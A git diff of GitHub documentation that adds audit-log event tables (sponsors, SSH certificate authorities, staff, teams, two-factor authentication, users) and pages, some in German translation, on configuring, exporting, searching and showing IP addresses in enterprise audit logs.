+| `sponsors.sponsor_sponsorship_tier_change` | A sponsorship was upgraded or downgraded. For more information, see "[Upgrading a sponsorship](/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship)."
+| `sponsors.sponsored_developer_approve` | A {% data variables.product.prodname_sponsors %} account was approved. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+| `sponsors.sponsored_developer_create` | A {% data variables.product.prodname_sponsors %} account was created. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+| `sponsors.sponsored_developer_disable` | A {% data variables.product.prodname_sponsors %} account was disabled.
+| `sponsors.sponsored_developer_profile_update` | You edit a sponsored organization profile. For more information, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)."
+| `sponsors.sponsored_developer_redraft` | A {% data variables.product.prodname_sponsors %} account was returned to draft state from approved state.
+| `sponsors.sponsored_developer_request_approval` | An application for {% data variables.product.prodname_sponsors %} was submitted for approval. For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+| `sponsors.sponsored_developer_tier_description_update` | The description for a sponsorship tier was changed. For more information, see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)."
+| `sponsors.update_tier_welcome_message` | The welcome message for a {% data variables.product.prodname_sponsors %} tier for an organization was updated.
+| `sponsors.update_tier_repository` | A {% data variables.product.prodname_sponsors %} tier changed access for a repository.
+{%- endif %}
+
+{%- ifversion ghec or ghes or ghae %}
+## `ssh_certificate_authority` category actions
+
+| Action | Description
+|--------|-------------
+| `ssh_certificate_authority.create` | An SSH certificate authority for an organization or enterprise was created. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+| `ssh_certificate_authority.destroy` | An SSH certificate authority for an organization or enterprise was deleted. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+
+## `ssh_certificate_requirement` category actions
+
+| Action | Description
+|--------|-------------
+| `ssh_certificate_requirement.enable` | The requirement for members to use SSH certificates to access an organization resources was enabled. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+| `ssh_certificate_requirement.disable` | The requirement for members to use SSH certificates to access an organization resources was disabled. For more information, see "[Managing your organization's SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)" and "[Managing SSH certificate authorities for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+{%- endif %}
+
+## `staff` category actions
+
+| Action | Description
+|--------|-------------
+| `staff.disable_repo`          | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator disabled access to a repository and all of its forks.
+| `staff.enable_repo`           | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator re-enabled access to a repository and all of its forks.
+{%- ifversion ghes or ghae %}
+| `staff.exit_fake_login`       | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} ended an impersonation session on {% data variables.product.product_name %}.
+| `staff.fake_login`            | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} signed into {% data variables.product.product_name %} as another user.
+{%- endif %}
+| `staff.repo_lock`             | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator locked (temporarily gained full access to) a user's private repository.
+| `staff.repo_unlock`           | An organization{% ifversion ghes %}, repository or site{% else %} or repository{% endif %} administrator unlocked (ended their temporary access to) a user's private repository.
+{%- ifversion ghes %}
+| `staff.search_audit_log` | A site administrator performed a search of the site admin audit log.
+{%- endif %}
+| `staff.set_domain_token_expiration` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff set the verification code expiry time for an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+{%- ifversion ghes %}
+| `staff.unlock`                | A site administrator unlocked (temporarily gained full access to) all of a user's private repositories.
+{%- endif %}
+| `staff.unverify_domain` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff unverified an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+| `staff.verify_domain` | {% ifversion ghes %}A site administrator or {% endif %}GitHub staff verified an organization or enterprise domain. {% ifversion ghec or ghes %}For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)" and "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+{%- ifversion ghes %}
+| `staff.view_audit_log` | A site administrator viewed the site admin audit log.
+{%- endif %}
+
+## `team` category actions
+
+| Action | Description
+|--------|-------------
+| `team.add_member` | A member of an organization was added to a team. For more information, see "[Adding organization members to a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)."
+| `team.add_repository` | A team was given access and permissions to a repository.
+| `team.change_parent_team` | A child team was created or a child team's parent was changed. For more information, see "[Moving a team in your organization’s hierarchy](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy)."
+| `team.change_privacy` | A team's privacy level was changed. For more information, see "[Changing team visibility](/organizations/organizing-members-into-teams/changing-team-visibility)."
+| `team.create` | A user account or repository was added to a team.
+| `team.delete` | A user account or repository was removed from a team.
+| `team.destroy` | A team was deleted.
+{%- ifversion ghec or ghes or ghae %}
+| `team.demote_maintainer` | A user was demoted from a team maintainer to a team member.
+| `team.promote_maintainer` | A user was promoted from a team member to a team maintainer. For more information, see "[Promoting an organization member to team maintainer](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member#promoting-an-organization-member-to-team-maintainer)."
+{%- endif %}
+| `team.remove_member` | A member of an organization was removed from a team. For more information, see "[Removing organization members from a team](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team)."
+| `team.remove_repository` | A repository was no longer under a team's control.
+| `team.rename` | A team's name was changed.
+| `team.update_permission` | A team's access was changed.
+| `team.update_repository_permission` | A team's permission to a repository was changed.
+
+## `team_discussions` category actions
+
+| Action | Description
+|--------|-------------
+| `team_discussions.clear` | An organization owner cleared the setting to allow team discussions for an organization or enterprise.
+| `team_discussions.disable` | An organization owner disabled team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization)."
+| `team_discussions.enable` | An organization owner enabled team discussions for an organization.
+
+{%- ifversion ghec %}
+## `team_sync_tenant` category actions
+
+| Action | Description
+|--------|-------------
+| `team_sync_tenant.disabled` | Team synchronization with a tenant was disabled. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+| `team_sync_tenant.enabled` | Team synchronization with a tenant was enabled. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+| `team_sync_tenant.update_okta_credentials` | The Okta credentials for team synchronization with a tenant were changed.
+{%- endif %}
+
+{%- ifversion fpt or ghes %}
+## `two_factor_authentication` category actions
+
+| Action | Description
+|--------|-------------
+| `two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.
+| `two_factor_authentication.enabled`  | [Two-factor authentication][2fa] was enabled for a user account.
+| `two_factor_authentication.password_reset_fallback_sms` | A one-time password code was sent to a user account fallback phone number.
+| `two_factor_authentication.recovery_codes_regenerated` | Two factor recovery codes were regenerated for a user account.
+| `two_factor_authentication.sign_in_fallback_sms` | A one-time password code was sent to a user account fallback phone number.
+| `two_factor_authentication.update_fallback` | The two-factor authentication fallback for a user account was changed.
+{%- endif %}
+
+  [2fa]: /authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication
+
+{%- ifversion fpt or ghes or ghae %}
+## `user` category actions
+
+| Action | Description
+|--------|-------------
+| `user.add_email`                  | An email address was added to a user account.
+| `user.async_delete`               | An asynchronous job was started to destroy a user account, eventually triggering a `user.delete` event.
+| `user.audit_log_export` | Audit log entries were exported.
+| `user.block_user` | A user was blocked by another user{% ifversion ghes %} or a site administrator{% endif %}.
+| `user.change_password`            | A user changed his or her password.
+| `user.create`                     | A new user account was created.
+| `user.creation_rate_limit_exceeded` | The rate of creation of user accounts, applications, issues, pull requests or other resources exceeded the configured rate limits, or too many users were followed too quickly.
+| `user.delete`                     | A user account was destroyed by an asynchronous job.
+{%- ifversion ghes %} 
+| `user.demote`                     | A site administrator was demoted to an ordinary user account.
+{%- endif %}
+| `user.destroy`                    | A user deleted his or her account, triggering `user.async_delete`.
+| `user.failed_login`               | A user tries to sign in with an incorrect username, password, or two-factor authentication code.
+| `user.flag_as_large_scale_contributor` | A user account was flagged as a large scale contributor. Only contributions from public repositories the user owns will be shown in their contribution graph, in order to prevent timeouts.
+| `user.forgot_password`            | A user requested a password reset via the sign-in page.
+| `user.hide_private_contributions_count` | A user changed the visibility of their private contributions. The number of contributions to private repositories on the user's profile are now hidden. For more information, see "[Publicizing or hiding your private contributions on your profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+| `user.lockout` | A user was locked out of their account.
+| `user.login`                      | A user signed in.
+{%- ifversion ghes or ghae %}
+| `user.mandatory_message_viewed`   | A user viewed a mandatory message. For more information see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise)" for details."
+{%- endif %}
+| `user.minimize_comment` | A comment made by a user was minimized.
+{%- ifversion ghes %} 
+| `user.promote`                    | An ordinary user account was promoted to a site administrator.
+{%- endif %}
+| `user.recreate` | A user's account was restored.
+| `user.remove_email`               | An email address was removed from a user account.
+| `user.remove_large_scale_contributor_flag` | A user account was no longer flagged as a large scale contributor.
+| `user.rename`                     | A username was changed.
+| `user.reset_password` | A user reset their account password.
+| `user.show_private_contributions_count` | A user changed the visibility of their private contributions. The number of contributions to private repositories on the user's profile are now shown. For more information, see "[Publicizing or hiding your private contributions on your profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+| `user.sign_in_from_unrecognized_device` | A user signed in from an unrecognized device.
+| `user.sign_in_from_unrecognized_device_and_location` | A user signed in from an unrecognized device and location.
+| `user.sign_in_from_unrecognized_location` | A user signed in from an unrecognized location.
+| `user.suspend`                    | A user account was suspended by an enterprise owner {% ifversion ghes %} or site administrator{% endif %}.
+| `user.two_factor_challenge_failure` | A 2FA challenge issued for a user account failed.
+| `user.two_factor_challenge_success` | A 2FA challenge issued for a user account succeeded.
+| `user.two_factor_recover` | A user used their 2FA recovery codes.
+| `user.two_factor_recovery_codes_downloaded` | A user downloaded 2FA recovery codes for their account.
+| `user.two_factor_recovery_codes_printed` | A user printed 2FA recovery codes for their account.
+| `user.two_factor_recovery_codes_viewed` | A user viewed 2FA recovery codes for their account.
+| `user.two_factor_requested`       | A user was prompted for a two-factor authentication code.
+| `user.unblock_user` | A user was unblocked another user{% ifversion ghes %} or a site administrator{% endif %}.
+| `user.unminimize_comment` | A comment made by a user was unminimized.
+| `user.unsuspend` | A user account was unsuspended by an enterprise owner {% ifversion ghes %} or site administrator{% endif %}.
+{%- endif %}
+
+{%- ifversion ghec or ghes %}
+## `user_license` category actions
+
+| Action | Description
+|--------|-------------
+| `user_license.create` | A seat license for a user in an enterprise was created.
+| `user_license.destroy` | A seat license for a user in an enterprise was deleted.
+| `user_license.update` | A seat license type for a user in an enterprise was changed.
+{%- endif %}
+
+## `workflows` category actions
+
+{% data reusables.audit_log.audit-log-events-workflows %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..742805fffb
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,54 @@
+---
+title: Konfigurieren des Überwachungsprotokolls für dein Unternehmen
+intro: Du kannst Einstellungen für das Überwachungsprotokoll deines Unternehmens konfigurieren.
+shortTitle: Configure audit logs
+permissions: Enterprise owners can configure the audit log.
+versions:
+  feature: audit-data-retention-tab
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+ms.openlocfilehash: f624607d5729d32d836efedf1fa355a96489a175
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106565'
+---
+## Informationen zur Konfiguration des Überwachungsprotokolls
+
+Du kannst einen Aufbewahrungszeitraum für Überwachungsprotokolldaten konfigurieren und Indexspeicherdetails anzeigen.
+
+{% ifversion enable-git-events %} Nachdem du einen Aufbewahrungszeitraum konfiguriert hast, kannst du die Anzeige Git-bezogener Ereignisse im Überwachungsprotokoll aktivieren oder deaktivieren.
+{% endif %}
+
+## Konfigurieren eines Aufbewahrungszeitraums für Überwachungsprotokolldaten
+
+Du kannst einen Aufbewahrungszeitraum für Überwachungsprotokolldaten für {% data variables.location.product_location %} konfigurieren. Daten, die den von dir konfigurierten Zeitraum überschreiten, werden dauerhaft vom Datenträger entfernt.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %}
+1. Wähle unter „Aufbewahrungseinstellungen für Überwachungsprotokolle konfigurieren“ das Dropdownmenü aus, und klicke auf einen Aufbewahrungszeitraum.
+
+   ![Screenshot des Dropdownmenüs für die Aufbewahrungseinstellungen für Überwachungsprotokolle](/assets/images/help/enterprises/audit-log-retention-dropdown.png)
+1. Klicke auf **Speichern**.
+
+{% ifversion enable-git-events %}
+## Verwalten von Git-Ereignissen im Überwachungsprotokoll
+
+Du kannst die Anzeige von Git-bezogenen Ereignissen wie `git.clone` und `git.push`im Überwachungsprotokoll deaktivieren. Eine Liste der Git-Ereignisse, die protokolliert werden, findest du unter [Überwachungsprotokollereignisse für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions).
+
+Wenn du Git-Ereignisse aktivierst, ist es aufgrund der großen Anzahl der protokollierten Git-Ereignisse empfehlenswert, den Dateispeicher deiner Instanz zu überwachen und die zugehörigen Warnungskonfigurationen zu überprüfen. Weitere Informationen findest du unter [Überwachen des Speichers](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage).
+
+Bevor du Git-Ereignisse im Überwachungsprotokoll aktivieren kannst, musst du einen Aufbewahrungszeitraum für Überwachungsprotokolldaten konfigurieren, der nicht „unendlich“ ist. Weitere Informationen findest du unter [Konfigurieren eines Aufbewahrungszeitraums für Überwachungsprotokolldaten](#configuring-a-retention-period-for-audit-log-data).
+
+{% data reusables.audit_log.git-events-not-in-search-results %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %}
+1. Wähle oder deaktiviere unter „Git-Ereignis-Opt-In“ die Option **Git-Ereignisse im Überwachungsprotokoll aktivieren**.
+
+   ![Screenshot des Kontrollkästchens zum Aktivieren von Git-Ereignissen im Überwachungsprotokoll](/assets/images/help/enterprises/enable-git-events-checkbox.png)
+1. Klicke auf **Speichern**.
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..540bbcda05
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,52 @@
+---
+title: Displaying IP addresses in the audit log for your enterprise
+intro: You can display the source IP address for events in your enterprise's audit log.
+shortTitle: IP addresses in audit log
+permissions: Enterprise owners can display IP addresses in the audit log for an enterprise.
+versions:
+  feature: enterprise-audit-log-ip-addresses
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Networking
+  - Security
+---
+
+## About display of IP addresses in the audit log
+
+By default, {% data variables.product.product_name %} does not display the source IP address for events in your enterprise's audit log. Optionally, to ensure compliance and respond to threats, you can display the full IP address associated with the actor responsible for each event. Actors are typically users, but can also be apps or integrations.
+
+You are responsible for meeting any legal obligations that accompany the viewing or storage of IP addresses displayed within your enterprise's audit log.
+
+If you choose to display IP addresses, the IP addresses only appear in your enterprise's audit log. IP addresses will not appear for events in the audit logs for individual organizations owned by your enterprise. For more information about organization audit logs, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)."
+
+You can display IP addresses in the audit log regardless of which authentication method you use for your enterprise on {% data variables.location.product_location %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+
+When anyone creates an account on {% data variables.location.product_location %}, the person agrees to {% data variables.product.company_short %}'s collection of basic information about connections to {% data variables.product.company_short %}'s services, including source IP address. For more information, see "[GitHub Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#usage-information)."
+
+## Events that display IP addresses in the audit log
+
+{% data variables.product.product_name %} displays an IP address in the audit log when a member of the enterprise interacts with a resource owned by your enterprise or an organization in your enterprise. For example, you will see an IP address for audited events involving an internal or private repository owned by an organization in your enterprise, or resources associated with those repositories, such as an issue, pull request, action, or project.
+
+If members of your enterprise access {% data variables.location.product_location %} with personal accounts that they manage, because you do not use {% data variables.product.prodname_emus %}, {% data variables.product.product_name %} does not display an event or IP address in the audit log for the following actions.
+  
+- Authentication to {% data variables.location.product_location %}
+- Interactions with a resource owned by the personal account, including a repository, gist, or project
+- Interactions with a public repository owned by an organization in your enterprise
+
+## Enabling display of IP addresses in the audit log
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.audit-log-tab %}
+1. Under "Audit log", click **Source IP disclosure**.
+
+   ![Screenshot of "Source IP disclosure" tab](/assets/images/help/enterprises/audit-log-source-ip-disclosure-tab.png)
+1. Under "Disclose actor IP addresses in audit logs", select **Enable source IP disclosure**.
+
+   ![Screenshot of checkbox to enable display of IP addresses in audit logs](/assets/images/help/enterprises/audit-log-enable-source-ip-disclosure-checkbox.png)
+1. Click **Save**.
+
+After you enable the feature, you can access the audit log to view events that include IP addresses. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md
new file mode 100644
index 0000000000..235a6eccd1
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md
@@ -0,0 +1,54 @@
+---
+title: Exportieren der Überwachungsprotokollaktivität für dein Unternehmen
+intro: Du kannst die Daten von Überwachungs- und Git-Ereignissen zur Offlineanalyse in eine Datei exportieren.
+shortTitle: Export audit logs
+permissions: Enterprise owners can export the audit log.
+miniTocMaxHeadingLevel: 3
+versions:
+  ghec: '*'
+type: tutorial
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+ms.openlocfilehash: 208e086fa93c89879357d340aa459b3d40824383
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060738'
+---
+## Informationen zum Exportieren von Überwachungsprotokoll und Git-Ereignisdaten
+
+Du kannst das Überwachungsprotokoll exportieren, indem du eine JSON- oder CSV-Datei aus deinem Unternehmen auf {% data variables.product.product_name %} herunterlädst. Wenn du Überwachungsprotokollereignisse exportierst, kannst du eine oder mehrere dieser unterstützten Qualifizierer abfragen, um für den Export nach bestimmten Protokollereignissen zu filtern. Weitere Informationen zu Suchqualifizierern findest du unter [Suchen basierend auf der ausgeführten Aktion](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise#search-based-on-the-action-performed).
+
+Du kannst Git-Ereignisdaten exportieren, indem du eine JSON-Datei aus dem Überwachungsprotokoll deines Unternehmens herunterlädst. Im Gegensatz zu Überwachungsprotokolldaten kannst du keine Abfrage für bestimmte Git-Ereignisse durchführen, um auf der Benutzeroberfläche des Überwachungsprotokolls zu filtern und zu exportieren. 
+
+{% data reusables.audit_log.git-events-export-limited %}
+
+{% data reusables.audit_log.exported-log-keys-and-values %}
+
+Alternativ zum Exportieren von Protokollereignissen kannst du die API zum Abrufen von Überwachungsprotokollereignissen verwenden oder {% data variables.product.product_name %} zum Streamen von Überwachungsdaten einrichten, wenn Ereignisse protokolliert werden. Weitere Informationen findest du unter [Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) und [Streamen des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise).
+
+## Exportieren von Überwachungsprotokolldaten
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %}
+1. Optional kannst du nur die gefilterten Ergebnisse exportieren, indem du nach mindestens einem unterstützten Qualifizierer suchst oder Protokollfilter verwendest.
+2. Wähle im Dropdownmenü **Export** {% octicon "download" aria-label="The Download icon" %} und dann das Dateiformat (JSON oder CSV) aus, in das Protokollereignisse exportiert werden sollen.
+
+    ![Schaltfläche "Exportieren"](/assets/images/help/organizations/org-audit-log-export.png)
+
+## Exportieren von Git-Ereignisdaten
+
+Du kannst auch Git-Ereignisdaten für einen Datumsbereich exportieren.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %}
+1. Wähle im Dropdownmenü **Git-Ereignisse exportieren** {% octicon "download" aria-label="The Download icon" %} und dann den Datumsbereich aus, für den Protokollereignisse exportiert werden sollen.
+
+    ![Schaltfläche „Git-Ereignisse exportieren“](/assets/images/help/organizations/org-audit-log-export-git-events.png)
+1. Klicke auf {% octicon "file-zip" aria-label="The File-zip icon" %} **Ergebnisse herunterladen**, um die Datei herunterzuladen.
+1. Die Daten werden als komprimierte JSON-Datei exportiert. Um die JSON-Daten zu extrahieren, dekomprimierst du die Datei mit einem Hilfsprogrammclient oder Befehl für Archive. Beispiel:
+
+    ```
+    gunzip export-avocado-corp-1642896556.json.gz
+    ```
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md
new file mode 100644
index 0000000000..6d0ac6f658
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md
@@ -0,0 +1,29 @@
+---
+title: Überprüfen von Überwachungsprotokollen für dein Unternehmen
+intro: Du kannst Benutzer- und Systemaktivitäten in den Überwachungsprotokollen für dein Unternehmen anzeigen.
+shortTitle: Review audit logs
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /about-the-audit-log-for-your-enterprise
+  - /accessing-the-audit-log-for-your-enterprise
+  - /configuring-the-audit-log-for-your-enterprise
+  - /displaying-ip-addresses-in-the-audit-log-for-your-enterprise
+  - /searching-the-audit-log-for-your-enterprise
+  - /identifying-audit-log-events-performed-by-an-access-token
+  - /exporting-audit-log-activity-for-your-enterprise
+  - /streaming-the-audit-log-for-your-enterprise
+  - /using-the-audit-log-api-for-your-enterprise
+  - /audit-log-events-for-your-enterprise
+ms.openlocfilehash: c7e0a9231e74b94f80bb4048d9854cdade2f556a
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159541'
+---
+
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..901048a1e8
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,141 @@
+---
+title: Searching the audit log for your enterprise
+intro: You can search an extensive list of audited actions in your enterprise.
+shortTitle: Search audit logs
+permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.'
+redirect_from:
+  - /enterprise/admin/articles/searching-the-audit-log
+  - /enterprise/admin/installation/searching-the-audit-log
+  - /enterprise/admin/user-management/searching-the-audit-log
+  - /admin/user-management/searching-the-audit-log
+  - /admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+miniTocMaxHeadingLevel: 3
+---
+
+## About search for the enterprise audit log
+
+You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query.
+
+  ![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
+
+For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." 
+
+{% data reusables.audit_log.git-events-not-in-search-results %}
+
+You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
+
+You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+{% note %}
+
+**Note**: {% data reusables.audit_log.retention-periods %}
+
+{% endnote %}
+
+## Search query filters
+
+Filter| Description
+--------------:| -----------
+`Yesterday's activity` | All actions created in the past day.
+`Enterprise account management` | All actions in the `business` category.
+`Organization membership` | All actions for when a new user was invited to join an organization.
+`Team management` | All actions related to team management.<br/>- When a user account or repository was added or removed from a team<br/>- When a team maintainer was promoted or demoted<br/>-  When a team was deleted
